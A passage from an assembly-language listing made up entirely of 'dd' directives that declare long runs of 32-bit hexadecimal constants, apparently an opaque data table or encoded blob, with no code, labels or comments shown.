242AF8B5h, 2F131F70h dd 18407813h, 68C9C72Ah, 428B5C0Ah, 82097228h, 7F117591h dd 0B38B8E53h, 0AF73F498h, 3E10FB91h, 0BAD63AFDh, 0A18A0565h dd 8D6E2B69h, 8DD2FC66h, 0BF044F0Bh, 74F5FC39h, 546D0B28h dd 77F83E34h, 1F1A53A4h, 0B6F4E750h, 37F74093h, 0EE7D8D4Ah dd 415FB968h, 0F1026FF3h, 5BE5B6E8h, 7750D5Eh, 89BC7882h dd 5A656853h, 2FC083E6h, 0FC9AA468h, 0F3CD1AC4h, 6DC084Ah dd 21D46831h, 89665001h, 0B9E82F7Eh, 0D7329ACh, 8BDB3B5Eh dd 8533921h, 6012555h, 4C68DF03h, 1EF1193Ah, 14E11499h dd 0A5BA85F9h, 266F1CB6h, 2CAC354Ah, 41844885h, 0EBDB32EAh dd 21E16B3Bh, 0FCC9623Ch, 0E862C97Eh, 66A7D496h, 0B541456h dd 74801C2Ah, 1121A7D6h, 102E6175h, 934101B3h, 5900E0DBh dd 0B995C38Ah, 20C983BAh, 480D52B9h, 0CD3E068h, 649224FCh dd 0ED4816A1h, 381A71Eh, 415020E4h, 4009812Dh, 0BC5430AFh dd 0E07D8002h, 0A5344C82h, 0D9E88A32h, 64CBBD20h, 20079512h dd 3E0C1DDh, 0DFF50397h, 0DDC986Dh, 0AA766290h, 0EE5648E8h dd 15841820h, 55DD4EC6h, 0E4884535h, 0E9B8241Ch, 0C0F8F641h dd 4CD3E359h, 536A993Ah, 0D8B89D78h, 0FBDE6D6Dh, 122CEC88h dd 0A913458Ah, 9D4E4CCDh, 3F828994h, 1355D888h, 0DABD0613h dd 0A4865B2Ah, 40825E8Fh, 59D445D7h, 0F1A30A73h, 70E84B09h dd 0D3CC4405h, 86D80B58h, 53A8F456h, 0E1AD0F95h, 6A047203h dd 0C412EBD0h, 1D750215h, 5F08223Dh, 5B939301h, 58D88832h dd 0D0998EDCh, 8EA09640h, 9407BC45h, 280F8E76h, 0AB8DF3Bh dd 8B1876E4h, 0CBBA39F1h, 7D8DD180h, 2E9C1F0h, 0CA03ABB4h dd 0BA03E183h, 8A9885A4h, 55373787h, 2F9C030h, 3FE13980h dd 8803E28Fh, 0F124ECECh, 3041EC8h, 0C5D010Fh, 2C9E2CBh dd 0F14099CAh, 0F202ED2Eh, 28460606h, 0C391290Fh, 0F633033Ah dd 0C8023820h, 79B4EE32h, 516DF86h, 11F76EFh, 0BEB70145h dd 50EC3544h, 2C808ACAh, 413C244Dh, 31842A3h, 0E13B4602h dd 8ACA72ECh, 253B4EB6h, 0EB03AF18h, 2C54D1DEh, 571A4CE2h dd 48F143D1h, 395E18E1h, 6F12734Ch, 3D6D0A2Bh, 0D13BAF70h dd 0D24E1F84h, 87DDD1F1h, 82342BF5h, 551490D5h, 0CE0E774Dh dd 0EBE80688h, 545DDA04h, 0DA8DF698h, 93E12426h, 5D4B4063h dd 0B09280E0h, 0A6415350h, 0A1F145D2h, 64836E3Ch, 3860D89h dd 6E14A2A8h, 84FA3C88h, 4F9F1049h, 0BC9297ECh, 1B892C8h dd 0C4757C69h, 23354E07h, 7A171C9Ch, 12F0C6ECh, 4C74738Dh dd 7A198536h, 2FF89DE2h, 0D3480AE9h, 0E83C44CCh, 0FFA8B830h dd 7C75CB3Bh, 0AEC84F02h, 6803580Dh, 365051D4h, 0B22B4868h dd 0E6F4E812h, 0A6FCC9EEh, 3B58A116h, 3B7450C6h, 0C4D59802h dd 0ADE063Eh, 0EE48AC59h, 0F9F5E447h, 1A83BD4Fh, 160E0AFEh dd 0BB44EB11h, 87F5985Fh, 5246A7BBh, 0A580D588h, 4CEEE05Dh dd 95AE96DCh, 8D4A8068h, 23C6E1BDh, 1C1B8F68h, 9666ABF3h dd 214610AAh, 25D8680Bh, 2AFCDF69h, 0DCB84832h, 167FBFECh dd 0B505B70Fh, 102333F1h, 8950D8E1h, 44984A68h, 0A16F8536h dd 8A302926h, 589BA3Ah, 979ADD90h, 3A46490Dh, 0E748ECA2h dd 24702878h, 12744B52h, 27B5ED5Eh, 71EC930h, 2CE9FE8Dh dd 7F163B3Fh, 770F580Eh, 7FC263A1h, 2004F5DBh, 0D8064272h dd 0F158483h, 83A8CF84h, 0EAABE67Dh, 0EF9DF2B5h, 0F3E8A754h dd 0C9F0A3D3h, 32557B0Ch, 0ED76E81Ah, 0D5645364h, 7637AFC5h dd 3D00BD95h, 8A407550h, 91C37085h, 0F48B82C3h, 0F3C36589h dd 0B513CC84h, 0A8C944BFh, 99DBD9C0h, 3017B662h, 2D4BF3FBh dd 0F88B5CA8h, 0FDFE5582h, 2AEB1C10h, 62498135h, 0E75098Bh dd 51A11DB1h, 4918EBEBh, 1201D51Ah, 0AD2E1412h, 0F612CFAh dd 7FF2F0B6h, 0F69243F1h, 5AE802E0h, 4228AA03h, 29883F4h dd 0FA5B8C0Fh, 0EC77BF63h, 15744818h, 0B0698B75h, 0FE89789Bh dd 1E699580h, 8D06548Dh, 31BF7191h, 0D95E6F1Eh, 7698A102h dd 45C10B42h, 16117908h, 0AB462Bh, 0E805773Bh, 279691D0h dd 3376DB01h, 0DD40FB8Bh, 9A087E03h, 51E82AE1h, 5926B894h dd 24266620h, 83501757h, 5A400377h, 0E0419CEDh, 1E6B19ADh dd 2480500Eh, 5FDD1738h, 8D0C591Ch, 3121C639h, 6608F8E7h dd 7DFF8C1Eh, 21142FAEh, 0EDC5E8F7h, 721574Fh, 95B6CE6Bh dd 0F963042Fh, 73BB4339h, 8FFBAA10h, 0F114D37Ch, 2BF0D801h dd 4C98B3B0h, 690C7358h, 1E2AA50Ah, 0F1F9A399h, 4360CFFDh dd 26015F86h, 0F4D316CDh, 0EB194F18h, 5C249079h, 0F01C3F76h dd 478F275h, 5581470h, 7880C050h, 4873FEFFh, 4E6B1E29h dd 4310030Eh, 4789871Bh, 84BE7CFh, 0EDD24F66h, 646E9647h dd 0B08540FEh, 0CA5657B0h, 0C5C33555h, 102E3928h, 0C103568Eh dd 77285398h, 57BEE204h, 0DFCD4794h, 0C73040A2h, 0FFC25D88h dd 0F14EE539h, 8320405Eh, 7650FDFFh, 90445AC8h, 3304044Eh dd 80CA3BD2h, 0FF418A68h, 9DC23A3Bh, 0BFBD3C19h, 75FA8015h dd 52C8FE4Ch, 4D415E88h, 78D94EBAh, 2B45308Bh, 2C543815h dd 20D41024h, 0C0E7FC84h, 5689EA65h, 117B8808h, 1715E354h dd 86BF3D90h, 0AFA1F89h, 1873C73Bh, 1670B2CEh, 3905EB20h dd 730C0C7Eh, 0DF1F5708h, 0A994F28Ah, 83428053h, 2466FA04h dd 0AF722274h, 8D1BBC80h, 8A2FFF48h, 0AFF2640h, 0F40666FDh dd 704C288h, 0F5A5E851h, 1ADDD0A9h, 0BD0B0908h, 0C13180C2h dd 0E3C3A810h, 992FE82Fh, 75EA1A34h, 78C1E42Bh, 32ECC1E8h dd 4FE3F61Ch, 52BDB253h, 87721BFh, 45A88E3Ch, 74440A4Bh dd 44FA0847h, 0C2C62BAAh, 0D7E1732Dh, 322A34D8h, 47F4FECh dd 0CE5803FAh, 19747750h, 132D85A1h, 0A76C628Bh, 0CA44F32Bh dd 7CB9D7A1h, 2A0AC9E9h, 6645E61h, 0B825CF66h, 0CF6D2220h dd 110C11F4h, 70BF7D8Bh, 696D1F24h, 0C0F0B685h, 376EC32h dd 5E013A2h, 251478Dh, 895DEEF8h, 413FF8DCh, 56B47EF8h dd 16254EEBh, 830A4595h, 0E61B71C0h, 43506F7h, 0D7E9B859h dd 0C71BFF40h, 0E87C2680h, 763EB1B5h, 0D2662117h, 508DAF8Eh dd 0A8F81467h, 88062237h, 485E8BA4h, 9AC97C08h, 40644856h dd 801E6AA8h, 1A2AE760h, 62771987h, 711D25FBh, 51D5D68h dd 316CD9B5h, 0F959589Eh, 90C5E9A3h, 468A22C7h, 1B49E1A4h dd 0B6172C8Ch, 38A24E96h, 0E8D77512h, 3637952Fh, 376217Ah dd 5405F6C3h, 0EF844DBCh, 0D80FB05h, 4AE9094Ah, 0D8996805h dd 0A9E8AA05h, 0C359B847h, 0A185121Ah, 33B82890h, 0A306C005h dd 383BA154h, 7D80C27Dh, 9CCD5230h, 0F4D09A8h, 1DA1E908h dd 95FE9465h, 1F612C2Ch, 0C1B78028h, 3B18538Dh, 1477D019h dd 309C0235h, 43BF3F33h, 1C5D8989h, 3C142E41h, 0E8C01912h dd 1A9FFD57h, 1C20714Dh dd 133CCC6h, 5E3060DAh, 0E8FC02CAh, 79D5DBCDh, 212890C7h dd 8D060B80h, 7F58780Bh, 7D0EFE96h, 24CCFE1Ch, 0BD187857h dd 0A9E17204h, 12EB9649h, 2989FEE3h, 0AC2C28CDh, 9975E089h dd 0C2B4003h, 7538399Bh, 0E8313862h, 0A9F0A856h, 59188220h dd 2B5A2574h, 2C26C3DFh, 0AB31FE03h, 18EC9653h, 7BB8BEB6h dd 0E8BE0862h, 4CED12Bh, 0C70FEB2Ch, 80B45DBh, 598B1E38h dd 41777932h, 8560DCB8h, 0E178E820h, 680B9BB2h, 88D1DB84h dd 2123A892h, 0B346ED33h, 70214E74h, 2B2041BEh, 1DF3982h dd 6C290C68h, 0A6AB4096h, 206A01F9h, 53C129B3h, 0DBA71E15h dd 23EB9221h, 2D4E3806h, 366EB0F2h, 46992434h, 6501E544h dd 0A74B166Fh, 9DBF2DCCh, 222843F8h, 211DB458h, 68530915h dd 6A402221h, 640E303h, 5A97C00Ah, 83D4B51Ch, 90AD4B4Ah dd 0C304442Ah, 858D48FBh, 2F2A629Ch, 40C610E5h, 8858050Fh dd 919F499Dh, 233E89C2h, 2E225F9Dh, 870B544Ah, 0E4A38B68h dd 28C8E37Ch, 6603844Bh, 89CFECC7h, 9DEE6048h, 0C13D952h dd 442D1654h, 1064B858h, 0AA355A13h, 0BD14C8B3h, 1A641E60h dd 0CC845B64h, 2F7C0E52h, 0B8647B54h, 13D0227Ch, 54786A22h dd 4AE8B903h, 24FF8812h, 8BBC7C82h, 0E0D245C7h, 0B73211AAh dd 6AE1BF0Ah, 0E49EFDBh, 0E94324F9h, 0B13D5A1Ch, 24290105h dd 9156029Fh, 5313E828h, 3DF531A9h, 0DD821910h, 489214EBh dd 2D64B490h, 22BEDA5Ah, 0D84D016h, 0B7E45B20h, 77459A8Fh dd 4673B84Bh, 0A19C7D26h, 348D9803h, 941205B6h, 1F02E6C1h dd 38A042BFh, 0A9A9789Eh, 434067Dh, 20DC5B28h, 5C68D4B4h dd 0EB0CFD9Ah, 1F026A13h, 4531C858h, 0C82AE639h, 76109F4Fh dd 0F086E749h, 0BFAFC513h, 99C64BFAh, 0F9F76700h, 55288942h dd 27DFE2D0h, 1BCC58BEh, 275B6C86h, 0B9EBE87Ch, 9CE4333Ch dd 0FC25D8DAh, 0F20269C6h, 0EDC6FF20h, 0FE13E490h, 0C7D26850h dd 0D9706157h, 0E074266Bh, 448D530Ch, 50E82C07h, 67861068h dd 0F36A8774h, 60F3C703h, 0E293136Ch, 28E651D0h, 0D29F8BE2h dd 0A0C05A58h, 33C527C3h, 1606BAE8h, 9C4B7086h, 31CE23F4h dd 464D745Bh, 0C79979B9h, 26974632h, 0BEE22883h, 8534DEB1h dd 684A1B12h, 1C4D5080h, 38F015F3h, 6D2B6324h, 0DCC03713h dd 1A8B5E45h, 6028EBADh, 10113454h, 4D464A68h, 7C4A2E6Bh dd 0AF4B5A3Dh, 54DEBC4h, 0D934E98Ch, 0EA1C67BCh, 2D625D7h dd 0E4F5F06Bh, 68CF9115h, 0D3AD08ECh, 46E95904h, 2B0DEAF1h dd 426931h, 0A11AD2D8h, 12F714C0h, 35E5EC18h, 0F43C0D0Ch dd 0ABE43AD4h, 176D76DFh, 0D8AC0DD8h, 0EA417E3Eh, 0C6D652D5h dd 46892C33h, 185E065Ah, 21F30D8Bh, 7820F1FDh, 3BB12962h dd 0C07E682Fh, 3A82420h, 40AC4F05h, 0FB697510h, 90977015h dd 64C6F617h, 518B4C51h, 8BA17DB2h, 186A1122h, 44B8F296h dd 0D8D7F535h, 18CCA445h, 190522C6h, 6B95D88h, 0BB1494BAh dd 0BC527EF8h, 332A49F7h, 2DC406C2h, 1982CC0Fh, 87861FCEh dd 0D6C765C3h, 5D195328h, 0E415A722h, 0B4CEDDACh, 440B6ACDh dd 8DCB6E3Ch, 382CBF4Bh, 0E6273168h, 0F4452424h, 0B9FD3B66h dd 1071CE8Fh, 1D7FA9Ch, 5D395EBEh, 554BD5B4h, 0F224AF80h dd 0E168EC98h, 0F0231D75h, 11184B93h, 3D8B9CD1h, 0F5121E5h dd 14780185h, 75E7314Fh, 0CBF86BB4h, 0B88704E2h, 1238850Bh dd 0F8F3098Ah, 46706E84h, 0DD1703EBh, 683D8891h, 66D7A4BFh dd 35D22708h, 5D082E5h, 5BD73C86h, 51950F25h, 5A0C27Ch dd 330B0151h, 24EF79F6h, 65D69C08h, 0F1DC8B32h, 0AC852FCBh dd 4CB59772h, 0E0D613C4h, 1FCB10E9h, 0DE59CA56h, 5D9CAD03h dd 0E67C742Dh, 145340F8h, 0CFB7725Ch, 0C8BFCB74h, 348B56C9h dd 0BE231835h, 5732DEE2h, 4FBD641h, 8B352F3Fh, 0DF789003h dd 4202BECCh, 60102918h, 19088FEh, 0DA382D84h, 148A83C6h dd 87898DDEh, 6808DCD0h, 0ADD43410h, 0C2A8D273h, 396A17C5h dd 1C3B9164h, 0F264AE5Ah, 8DDBE521h, 0E883B16Ch, 0DD25F9FDh dd 22E40084h, 0B68D656Ah, 0C462F68h, 99BF2FF8h, 0B786E42Ch dd 25C0C481h, 0D11588A9h, 0E757D2DBh, 0E94394C5h, 0B872020Ah dd 7E424A55h, 0DDD59423h, 7CCB9D08h, 0E2D8F623h, 0E937CF45h dd 0D8C8E55Ch, 0DED3CB5h, 7C25C997h, 8BD94249h, 14F534h dd 64AFDA87h, 0D1344214h, 375C7DAh, 0D19EBC3h, 121368DEh dd 398CD578h, 0DE8B425Ch, 7A0A758Ah, 0D2BA9248h, 6B680B0Ah dd 0E739A821h, 7CC4AA2Bh, 0F9E4783Dh, 0BC05BD0Dh, 14249DA2h dd 87502DA4h, 86A0275Ah, 17F2D610h, 425DB122h, 73D718FCh dd 0BA73D80h, 2B75A244h, 0EBF0030Dh, 0A8DEF3D9h, 6E6C393Ah dd 3D335374h, 2B76C730h, 89CD50C6h, 410D8418h, 0DF09B86Bh dd 0C8D1019h, 0F73B7E82h, 3D93D97Ch, 24F98F26h, 20024C62h dd 3BD0A166h, 4FDEE7AAh, 0FE8F212Bh, 37F6B75Eh, 0ED5BFD52h dd 653425A2h, 4656A97Bh, 0F49852B8h, 0ED9C1495h, 8F5BD907h dd 536F094Bh, 0FBE9090Ah, 0C80C1B71h, 5A53826Ah, 0F817BBE8h dd 0DD4462AAh, 8D7017A9h, 44B4D45Bh, 0C809C1D8h, 2D3BC068h dd 0E3A1134Eh, 0C6F17CC9h, 9651B86Eh, 3D8CB01h, 0C8C0A74h dd 0A82008E0h, 0FA884CA5h, 0D9159FEh, 2D9056F1h, 197BE2ABh dd 2FD546FEh, 6488CD43h, 46ADC61h, 441C7D12h, 0BF818B4Dh dd 109E5165h, 23D083C8h, 1550BECFh, 101BEAB7h, 0BB1CCA0Bh dd 0C623B9E2h, 0E90E1BE7h, 229E1408h, 0DC4D8914h, 0B71B228Dh dd 942197B3h, 4203C56Ch, 186AE461h, 0EC381C24h, 790005E1h dd 8AF84D8Bh, 75E57645h, 0E46524D1h, 226CBA37h, 18C8E71Ch dd 2042BAE6h, 0D2EC45EDh, 0EE02EF11h, 0F188902Eh, 0A74F011h dd 0C723C18Bh, 84C24693h, 0CE799384h, 93E80ECAh, 5F3AC266h dd 0BC0913F8h, 2FEB203Fh, 106A7D8Bh, 0B7EE140h, 40C1574Fh dd 0C08FD98h, 37248012h, 94BFDE2h, 955CE035h, 1247642Dh dd 13A068D8h, 0BB71AE73h, 343FD564h, 0B51B4482h, 8BDFBCB8h dd 63B27C45h, 2442B63Bh, 694E6319h, 0D3C2496Dh, 3234AA99h dd 0B253C9D6h, 859A65D7h, 8A5309EBh, 0B3D55C2Ch, 0E4FD8C04h dd 4BD3FB89h, 4146F0A7h, 81EC22E3h, 4D8DE27Eh, 51D0056Ah dd 3D232650h, 454F7043h, 74C6EB94h, 5AF0FC43h, 7E686BB2h dd 0D64D14Bh, 2E48A929h, 0D87E3E62h, 78506BB2h, 8444698Eh dd 4BBE54EBh, 0C745971Ch, 0E4C82890h, 0BD20BEA6h, 0C1953377h dd 0C81C986Bh, 5A09D79Ch, 0EF6A5CD0h, 0ACB25BD1h, 56A25458h dd 0CA5932C6h, 1BA74A30h, 102D9E48h, 60458C66h, 0B5205F1h dd 1D8B205Ch, 76BA70FCh, 8527354Fh, 0C891171Ah, 3398A329h dd 0CE29F46Ch, 0B63AED68h, 0FED00B6Ch, 0ADFFD60Ch, 66E8976Eh dd 22D3FF14h, 0E721619Ch, 446AD386h, 0E8844026h, 370ABE4Ah dd 482535A1h, 0F7BC45C4h, 5B102346h, 0FF1FBFC0h, 319DC494h dd 44848A50h, 1B04C51h, 4D669B90h, 0DFF82DB5h, 348A0C28h dd 760D6757h, 889B0FF4h, 9FA8841Fh, 49B17B4h, 0A38C4EE9h dd 27D42610h, 751BDFADh, 21E82028h, 40E4B815h, 74A892B7h dd 19B450D2h, 6AF175C8h, 0D45B257Ch, 451FE312h, 291ABDF8h dd 0EC110AACh, 0D6281390h, 0AB57EA0Eh, 9D50F428h, 2E376C21h dd 0C808B48Fh, 6168E464h, 542DC75h, 0EAE904D8h, 4BA34752h dd 230A126Dh, 9DE80C0Ch, 16590A9Fh, 0EFE37CA3h, 48C0CEDCh dd 27B2EC06h, 8EFF5018h dd 0ECC4DB43h, 0CE6E0453h, 5C11FA29h, 0EB53240Bh, 5D32EEC7h dd 261E53F0h, 80CE1E71h, 4575FE3Bh, 0E4755D39h, 7F53202Dh dd 5D6AF092h, 0A58753D5h, 0A5BD2159h, 83CDBB2h, 2A42FD40h dd 54340C6Ah, 0CC852084h, 15B2594Bh, 8214A89Fh, 86B0DD86h dd 7A8A7CB8h, 49574D89h, 0BBC63B82h, 76C1DA92h, 0C1CD7BCFh dd 313D6670h, 74162740h, 0F3E02A47h, 5680A975h, 0F07F881Ah dd 908569AAh, 0CA56C805h, 2D026B3Eh, 3A459E63h, 8222EDA1h dd 841C9382h, 7B547529h, 27157421h, 0A87B9182h, 2F108F04h dd 0FCB8AE1h, 572C254Ch, 7AC2CD23h, 0F92622E1h, 0BE4F1022h dd 0ED534C53h, 879079A9h, 0A292324Dh, 74080B78h, 0E4E507E6h dd 12217502h, 86087E1Dh, 0ACF4DBB1h, 0D5929BCh, 0F3756A17h dd 61E7A7BAh, 569674A7h, 21B67BC6h, 0C2E4093Fh, 0DC21B9E4h dd 0F940093Bh, 4109D959h, 23B5ECD0h, 9008F940h, 6E21CDC6h dd 0DA47EADh, 0FD8B43C9h, 0CA926E05h, 937E5CE9h, 0EF65BE57h dd 75CA0072h, 0AF055BEh, 0B9018785h, 2E1B0DA9h, 4E20FBC3h dd 1057A2AFh, 908402A0h, 5F7B14F5h, 0C92E2FCh, 0D406E487h dd 0B5E5DC81h, 0F9E4D5DAh, 93EAC45Ch, 0B713D08h, 5D595356h dd 5AF43543h, 6A3FC021h, 0BF4A5104h, 10A6D7F5h, 2A092598h dd 0D491EC74h, 0C7FB4E7Fh, 0F94EE73h, 4BD1DC27h, 0F86FA7A2h dd 0F6A85667h, 0B8658383h, 0B453A485h, 0EADFFCD2h, 53FC5164h dd 60779A0h, 60E9C38Bh, 0A6EB705h, 89EB1829h, 0B091A49Dh dd 0C2450EFh, 3BD845BDh, 416AD6C0h, 9AA8A68Dh, 0FBC4217Bh dd 0D082C820h, 2560A06h, 0B4F2504Ah, 4C0B8D5Fh, 9FCF0E3Bh dd 63161333h, 7C18C9BDh, 646A54C5h, 0D19FDA92h, 0CACF8E42h dd 0F50F281Ch, 14C019FAh, 4B0E10EFh, 0E80B9590h, 3DFA7C76h dd 4BA84C4h, 0BDA3B0Ah, 0DF427A75h, 105B13D0h, 45C4AC8Ch dd 89F8CEFDh, 6B04152Bh, 29A2911Eh, 829C39C9h, 958D1676h dd 2F0AF93h, 41070C74h, 3B04C283h, 720A16FAh, 754008F0h dd 84BD8316h, 0D734002h, 8F8D8489h, 10858A28h, 25BD3B14h dd 0ADEA437Eh, 68151FC0h, 13E4FA4h, 0E9D3FFC1h, 56AD953Bh dd 52AD90B4h, 7218102Ch, 8B527F81h, 0E2334695h, 76D63B0Dh dd 6D10403Ah, 810A7438h, 72CA00C0h, 26EB18F4h, 1B730E4Ah dd 15F8D52h, 4104508Bh, 32491089h, 723743B1h, 8B99EAECh dd 0CF5B3857h, 7AA192E9h, 568DB63Bh, 74A47712h, 889C6829h dd 0E258E80Bh, 681810A5h, 7211A894h, 0A72E91D4h, 55ADFEF6h dd 2B7C8806h, 5782E938h, 91742125h, 26FA4E4Dh, 141148CEh dd 0EB145C68h, 54C82161h, 0D3C2C64h, 11446821h, 643CC840h dd 21103C0Bh, 1F112868h, 0EA6224C8h, 0E39D3h, 8804681Eh dd 0F14DE957h, 0FCBF0FE2h, 0D28D753Dh, 0B1C4DA82h, 0E4582426h dd 3DF82868h, 91AD423Dh, 681304C4h, 0B2443DE4h, 6FBC2902h dd 19E0A2C2h, 0CC211B76h, 68B17B10h, 522452C4h, 0CD344C14h dd 2798BE1Ah, 0FED8AE48h, 959AA84h, 430D8F09h, 46C29DE8h dd 0F34C104Bh, 0A182D389h, 4B9435E9h, 7219043h, 0DEC12A45h dd 4B4878BEh, 28FF4238h, 0EEF74D66h, 51E8A421h, 0F014C4Dh dd 414CB2EBh, 0C6238670h, 120F1DD2h, 2CA232B6h, 482197Fh dd 0DDA1AC14h, 0E009E819h, 0F6D53C78h, 9239488Ah, 0DCBF162h dd 0C9676028h, 3DF4289Dh, 1D7CCD6Fh, 6A140F7Ch, 44931F32h dd 22C7813Fh, 5109234h, 11BBF4CCh, 5F1344E6h, 4346E3CAh dd 0CF8F1027h, 1F791C8Dh, 0C4157C7Ah, 2C333468h, 5DCA8A2Ch dd 14681D04h, 0B011E21h, 0F58A0C21h, 0E451D1D1h, 28485016h dd 593C2599h, 0F5D39BA0h, 20469362h, 3FDE2901h, 294DF521h dd 0F7208688h, 93CA1BCh, 9CC4C9C8h, 0BC20AE98h, 237514FBh dd 87961D56h, 1C19F9ACh, 1C2DDE38h, 25E83574h, 0FD13AB89h dd 0A76C4AC3h, 0A893A2A5h, 42681775h, 0B25E90ACh, 0E6A198Ch dd 13322BE2h, 56741022h, 55E7862h, 315917F4h, 20CA2EEBh dd 1629C668h, 0D05411F4h, 4CF63B42h, 681BE080h, 2C86A54Ch dd 0C5F478DBh, 0C8ADBABCh, 0BD3B4739h, 8E31C466h, 0C1E9E901h dd 0A6F8122Bh, 56F74EECh, 0B295A022h, 0EFD9552Ah, 6A9CF8AEh dd 0B157E52Fh, 2C88A3BBh, 11DC4A7Ch, 0B414AB0Ch, 0BEA5E7B8h dd 212AD4B5h, 4435FFFBh, 0B200AC28h, 1C11B116h, 0EC640C16h dd 50BA33B3h, 725B824Dh, 0DDE605C6h, 54FEFC2Fh, 6FF0ED8Dh dd 149158FDh, 0F0905271h, 2FC4581Ch, 608C3157h, 90C46D0h dd 573E7510h, 92B63379h, 0ABFA5851h, 0ADC08CC5h, 65109066h dd 8C2C578Ch, 504B8B24h, 3D00DA8Dh, 0B55FC974h, 80D4E278h dd 0E49D4242h, 16E89952h, 28F0B8C3h, 3EE84209h, 2748CECAh dd 4630ECB9h, 0CC9FFA14h, 0C1409541h, 35AACB0h, 0BDCEC32h dd 0E8166078h, 0EF9CC47Fh, 0A42384DCh, 8DEE4FDh, 0CA525AE0h dd 59C6F44Ah, 2D85FC87h, 0AF15FDACh, 0A2A4DC90h, 5153355Ch dd 9E7F2CE4h, 9115C8DFh, 4B464D3Eh, 0ACD06E28h, 8B254419h dd 0E8B8DED7h, 0C410FF96h, 0F87D0406h, 7C85416Ah, 0EDC10EBh dd 0BAC8502Dh, 98AF910h, 0BDD385DFh, 0AA400A0Bh, 42A30B99h dd 588ADE15h, 0FCD6408Ch, 5F9E28A6h, 257F5E27h, 2AE1090h dd 0C584D78Ah, 0DE10E367h, 0C04BCCD7h, 325545F4h, 3322884Ch dd 5D3F6C9h, 24958D12h, 809B087h, 72CB1886h, 197508F4h dd 4012FBF6h, 0FDC41473h, 0A38B1C0Ah, 0AA624365h, 0F92813Bh dd 7DA74A86h, 42E95C03h, 68BF1138h, 0D79087C7h, 2822572Dh dd 99F7C318h, 3768E75Ah, 99F309CFh, 0F942ABB7h, 3B75612h dd 0FD587F13h, 98889046h, 9F01F6A8h, 3909FCCEh, 0C40D7430h dd 0E98C8828h, 4317A1DFh, 73C8EE87h, 0E98F7A1Dh, 9D3E2D66h dd 8D1843C8h, 72CA3A53h, 9F4BEA2Bh, 61AFE90Dh, 0AE8D1A44h dd 5ED30638h, 0A2C2146Fh, 8320CA5h, 0BC5AC61Eh, 0EA99D2F9h dd 19302B81h, 0A005848Ah, 790A3C1Eh, 0B9355288h, 8C224458h dd 3862BE4Ch, 62CA5643h, 0CCC5B08Bh, 487429D6h, 7E243213h dd 5F84880h, 362D7659h, 3FAE7DB8h, 84C82C35h, 7C10394Eh dd 0CD4F681Ch, 17F4952Dh, 0EB7FA9CBh, 682F90E2h, 42299CE4h dd 7430CCC1h, 0E23D9134h, 0C11C1CCh, 11D5946Fh, 5081C2A5h dd 9806E846h, 592039F1h, 4182200Fh, 0C2BDF281h, 4449CB4Eh dd 0E1B8963Fh, 8E0A4254h, 48EBF13Eh, 0D24FEF3Fh, 0A9B2FCBDh dd 5F194A74h, 90FAA014h, 96BB94B3h, 0C6C1685Dh, 37E1D86h dd 4881593Eh, 73C19D65h, 8658339h, 0BBB7D56Fh, 6030A169h dd 32138AACh, 9AB81825h, 844D29D2h, 0CCAE19DEh, 74DEBF4h dd 46E7D800h, 0AFE4B73Bh, 0BF5291A2h, 51F1E932h, 627FC28Bh dd 0B183F1C4h, 1F71075h, 2923BC68h, 8CC3AE12h, 0B4219DBCh dd 8D822FFDh, 0B522F710h, 186490B0h, 1C588BFAh, 6FE88209h dd 10BC53A5h, 5C9AC410h, 9DC5590Bh, 8BFDAC08h, 0AC5CBEEDh dd 0C476E25Ah, 1654225Bh, 0ACC5E321h, 0FBB4785Ah, 2194E6BFh dd 384503ACh, 0B0118DA3h, 4FF649FAh, 2BB6A1FCh, 11F9AC21h dd 20333203h, 0F92FF39h, 6807DA80h, 2D9640F8h, 0DCDB051Dh dd 6448100Fh, 0C2DF85FFh, 98453907h, 44FBBE44h, 83466A0Ah dd 3D38C846h, 2F1CC957h, 7ED12904h, 281E19C5h, 8C700ABCh dd 48BD831Fh, 981F9927h, 890A139h, 4D1D75A1h, 0E987125Ch dd 3F4215D2h, 0ECD17735h, 21EB1411h, 1A3B41FAh, 3EF01023h dd 28655488h, 0B4C21425h dd 0F04AD59Eh, 53AA231Ah, 0F5C64B02h, 752BD18Ch, 1BA1FD16h dd 97FE806h, 57EBE25Fh, 5729FE1Dh, 45212917h, 4799ABDBh dd 8459470Dh, 6944FCD3h, 755749BDh, 0C42D0034h, 59D16608h dd 0F0C8C8FFh, 7DCE00AFh, 48BAE8FCh, 108999BEh, 3813E5DAh dd 745D742Fh, 534F4112h, 9C60E09h, 1CE6F75Ch, 2C5CC49Dh dd 0C83A88E8h, 10094B0Fh, 0CF264B0Ch, 9B2B84Ah, 0C777760Dh dd 738D1480h, 3134B72Bh, 0C9802639h, 50BC802Eh, 32251335h dd 0F5152475h, 1AA43227h, 309EF648h, 0C6461081h, 89481D84h dd 0C583F220h, 0C41AEB83h, 3C2E4435h, 8882AE2Fh, 0F03005Ch dd 8852C0BEh, 3C5A4222h, 504EE046h, 0C058E843h, 59F03BBFh dd 0C7AC9072h, 0FCEC50A8h, 845B51B5h, 49429A98h, 121AC2DEh dd 0E942DD14h, 0C93B1102h, 29353253h, 1704E6EBh, 6901016Ah dd 0D745E10h, 0B31B639h, 0FEE90806h, 31A62E76h, 1D339E20h dd 0D35CABEFh, 0A01B4B03h, 4E9E3987h, 2F3C9D09h, 0E8BDE67Fh dd 6A74337Dh, 59AA1422h, 41705F98h, 95A84344h, 6A12C888h dd 0F9C042DDh, 0F2AEE827h, 18A86729h, 8E3BAE56h, 0C023F7AFh dd 7DC03711h, 51BBD052h, 5BC67AE5h, 5BEB2D13h, 0F770F94Eh dd 6A9F4082h, 0A656E803h, 8021C96Bh, 59CB3C56h, 0CF30957Dh dd 509C71D1h, 0BD8E64BFh, 0D8917927h, 89721708h, 0D960AB85h dd 0EA8B16BDh, 7F77322h, 0B8D4EE56h, 5765B6CCh, 0E8BD13A4h dd 83B817AFh, 95D46022h, 0E4EFE254h, 9BE274B0h, 3CCDF832h dd 2D46D829h, 2CD1F530h, 0D48D8B61h, 0A2EBE82Ah, 301239C7h dd 0FC44E8CCh, 56A2F38h, 0D5A3BED3h, 6994F5A7h, 8810E5D2h dd 0A132C884h, 4C183111h, 5BD13358h, 0E94B62F3h, 88F6968Ah dd 0E2B7DB26h, 5304FA6Ch, 6FC5D06h, 2DE8F838h, 9AF412BCh dd 4885DDE5h, 8960BFC7h, 0FC237410h, 0AC2EE1BEh, 0E8649A44h dd 4AC06829h, 3899E245h, 142CC2BFh, 2F5D2F7Dh, 0F570185h dd 158BDB84h, 30C008E8h, 5C148859h, 8637FF38h, 845D8068h dd 8B69C839h, 0F66D4968h, 0B3B57630h, 0AECF3FC3h, 0C0C89C74h dd 54682957h, 0F271CE35h, 0E80A1FA6h, 